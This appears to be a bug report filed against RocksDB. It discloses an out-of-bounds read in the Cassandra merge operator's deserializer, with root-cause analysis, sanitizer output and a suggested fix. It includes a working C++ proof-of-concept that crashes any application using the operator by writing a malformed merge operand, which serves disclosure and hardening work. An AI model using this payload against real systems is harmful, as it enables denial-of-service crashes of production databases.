#15212·rocksdb

[BUG] Crash / OOB read in CassandraValueMergeOperator when a merge operand is malformed (format.cc deserialization has no bounds checks)

Author: wildorangesCreated Sep 15, 2026Updated Sep 17, 2026

Summary

In RocksDB main (91b96f41cf90cecb12330ccec6bc6b50145abd28) the bundled CassandraValueMergeOperator parses merge-operand bytes (RowValue::Deserialize, utilities/cassandra/format.cc) with no boundary validation -- the only checks on the whole path are assert()s, which are compiled out in release builds. A malformed merge operand whose column value_size field is 0x7fffffff makes the later serialization step dest->append(value_, 0x7fffffff) read ~2 GiB from a 30-byte heap buffer, crashing the process.

The operand bytes are ordinary DB values (written through the public db->Merge() API / application data) -- no file corruption, no special configuration, and reachable from Get, flush and compaction.

Verified on a Linux build at that commit:

  • ASan: ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 2147483647 at RowValue::Serialize utilities/cassandra/format.cc:219 (called from FullMergeV2 utilities/cassandra/merge_operator.cc:54, up the chain db/version_set_sync_and_async.h:206).
  • Release -O2: SIGSEGV (rc=139).
  • Control: a well-formed 30-byte row parses and merges cleanly (exit 0).

Root cause

utilities/cassandra/format.cc:

  • RowValue::Deserialize reads a 12-byte header with only assert(size >= ...);
  • the column loop advances offset += c->Size() with only assert(offset <= size);
  • ColumnBase::Deserialize accepts the signed int32 value_size verbatim;
  • RowValue::Serialize then does dest->append(value_, value_size_) with that unvalidated length.

All of these disappear under NDEBUG.

Reproduction (end-to-end, self-contained)

A standalone driver that links against any normal RocksDB build (the Cassandra merge operator ships in the default build, utilities/cassandra/):

cpp
// poc_c2.cc
#include <cstdio>
#include <memory>
#include <string>
#include "rocksdb/db.h"
#include "utilities/cassandra/merge_operator.h"

using namespace ROCKSDB_NAMESPACE;

int main() {
  std::string dbpath = "/tmp/rocksdb_c2";
  system("rm -rf /tmp/rocksdb_c2");
  Options options;
  options.create_if_missing = true;
  options.merge_operator.reset(
      new cassandra::CassandraValueMergeOperator(1000));

  std::unique_ptr<DB> db;
  DB::Open(options, dbpath, &db);

  // Malformed cassandra row: 12-byte header + one column whose
  // value_size = 0x7fffffff.
  std::string operand(12, '\0');                  // row header
  operand.append(1, '\x00');                      // mask: plain column
  operand.append(1, '\x02');                      // column index
  operand.append("\x00\x00\x00\x00\x00\x00\x00\x05", 8);  // timestamp
  operand.append("\x7f\xff\xff\xff", 4);          // value_size = 2 GiB - 1
  operand.append("abcd");                         // 4 bytes of value

  db->Merge(WriteOptions(), "poc_key", operand);  // public API
  std::string got;
  db->Get(ReadOptions(), "poc_key", &got);        // triggers FullMergeV2
  printf("get: %s\n", got.c_str());
  return 0;
}

Build (drives the whole failure through the public DB API):

bash
# 1. build rocksdb with sanitizers (ASan+UBSan) and in Release:
#    cmake -DCMAKE_BUILD_TYPE=Release .. && cmake --build . -j        # release
#    cmake -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined" .. \
#        && cmake --build . -j                                        # ASan+UBSan
# 2. compile the driver against the appropriate build (both verified):
#    Release:
g++ -std=gnu++20 -g -O1 -I. -Iinclude poc_c2.cc -o poc_c2 \
    -L BUILD_RELEASE -lrocksdb -lz -lpthread -ldl
#    ASan+UBSan (any compiler; flags must match the library's sanitizers):
clang++ -std=gnu++20 -g -O1 -fsanitize=address,undefined \
    -fno-omit-frame-pointer -I. -Iinclude poc_c2.cc -o poc_c2_asan \
    -L BUILD_ASAN -lrocksdb -lz -lpthread -ldl

Run:

bash
# ASan build:
./poc_c2     # -> ASan: heap-buffer-overflow, READ of size 2147483647
             #    #4 RowValue::Serialize utilities/cassandra/format.cc:219
# Release build:
./poc_c2     # -> Segmentation fault (core dumped), rc=139

# Control (replace operand with a well-formed row: value_size = 4, "abcd"):
# -> clean exit, Get returns the merged value.

Observed matrix (this run, commit 91b96f41):

build operand result
ASan value_size=0x7fffffff heap-buffer-overflow READ size 2147483647 @ format.cc:219
Release value_size=0x7fffffff SIGSEGV rc=139
ASan well-formed 30-byte row clean, Get OK

Impact

Any application using the documented Cassandra merge operator can be crashed by a malformed value (out-of-bounds reads from a few bytes up to ~2 GiB on every Get/flush/compaction of the affected key). The malformed bytes are ordinary application data, so an import/sync/replication path that writes unvalidated rows is sufficient to trigger it. If you consider valid-cassandra- row input a documented contract, this is still worth a hardening pass: a deserializer that runs off the buffer on malformed input is a robustness bug regardless of the contract.

Suggested fix

Replace the assert()-only validation with a real bounds-checked cursor in RowValue::Deserialize / ColumnBase::Deserialize (return Status::Corruption on truncation) and reject negative / oversized value_size when constructing columns — the same defensive parsing pattern RocksDB already uses for its internal Slice formats (GetVarint32, GetLengthPrefixedSlice).